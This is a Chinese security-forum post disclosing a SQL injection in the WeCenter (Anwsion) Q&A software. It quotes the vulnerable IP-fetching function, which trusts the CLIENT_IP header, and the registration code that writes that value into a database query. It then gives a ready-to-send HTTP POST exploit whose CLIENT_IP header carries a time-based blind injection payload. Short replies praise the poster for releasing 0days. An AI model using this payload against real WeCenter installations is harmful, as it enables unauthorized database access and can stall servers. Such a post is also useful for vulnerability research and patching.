【我爱T00LS】wecenter 注入漏洞 原anwsion
system/function.inc.php
function fetch_ip()
{
if ($_SERVER['HTTP_X_FORWARDED_FOR'] and valid_ip($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else if ($_SERVER['REMOTE_ADDR'] and $_SERVER['HTTP_CLIENT_IP'])
{
$ip_address = $_SERVER['HTTP_CLIENT_IP'];
}
else if ($_SERVER['REMOTE_ADDR'])
{
$ip_address = $_SERVER['REMOTE_ADDR'];
}
else if ($_SERVER['HTTP_CLIENT_IP'])
{
$ip_address = $_SERVER['HTTP_CLIENT_IP'];
}
if ($ip_address === FALSE)
{
$ip_address = '0.0.0.0';
return $ip_address;
}
if (strstr($ip_address, ','))
{
$x = explode(',', $ip_address);
$ip_address = end($x);
}
return $ip_address;
}
app/account/ajax.php
public function register_process_action()
{此处省略若干
if ($follow_uid)
{echo 1111111111111111111111;
$this->model('follow')->user_follow_add($uid, $follow_uid);
$this->model('follow')->user_follow_add($follow_uid, $uid);
$this->model('integral')->process($follow_uid, 'INVITE', get_setting('integral_system_config_invite'), '邀请注册: ' . $_POST['user_name'], $follow_uid);
}
if ($_POST['icode'])
{echo 1111111111111111111111;
$this->model('invitation')->invitation_code_active($_POST['icode'], time(), fetch_ip(), $uid);//插入
}
测试方法 先注册一个用户 选择邀请注入 获得一个邀请码之后 提交数据包
POST [url]http://127.0.0.1/wec/?/account/ajax/register_process/[/url] HTTP/1.0
Content-Length: 156
Host: 127.0.0.1
CLIENT_IP: 127.0.0.1' where 1=1 and sleep(99999999999999999)#
user_name=22a222s22dd&[email protected]&password=123123&agreement_chk=1&fromuid=76d6&icode=2227a68cfdbc18b8358bceb5eea68b5d&seccode_verify=76d6
评论46次
最喜欢这种注入了,无视gpc...
LZ,我也想拜入您门下
lz Ls lss lsss 我可以拜入你的门下吗?
LZ我可以拜入你的门下吗?
LZ我可以拜入你的门下吗?
楼主又开始刷0day了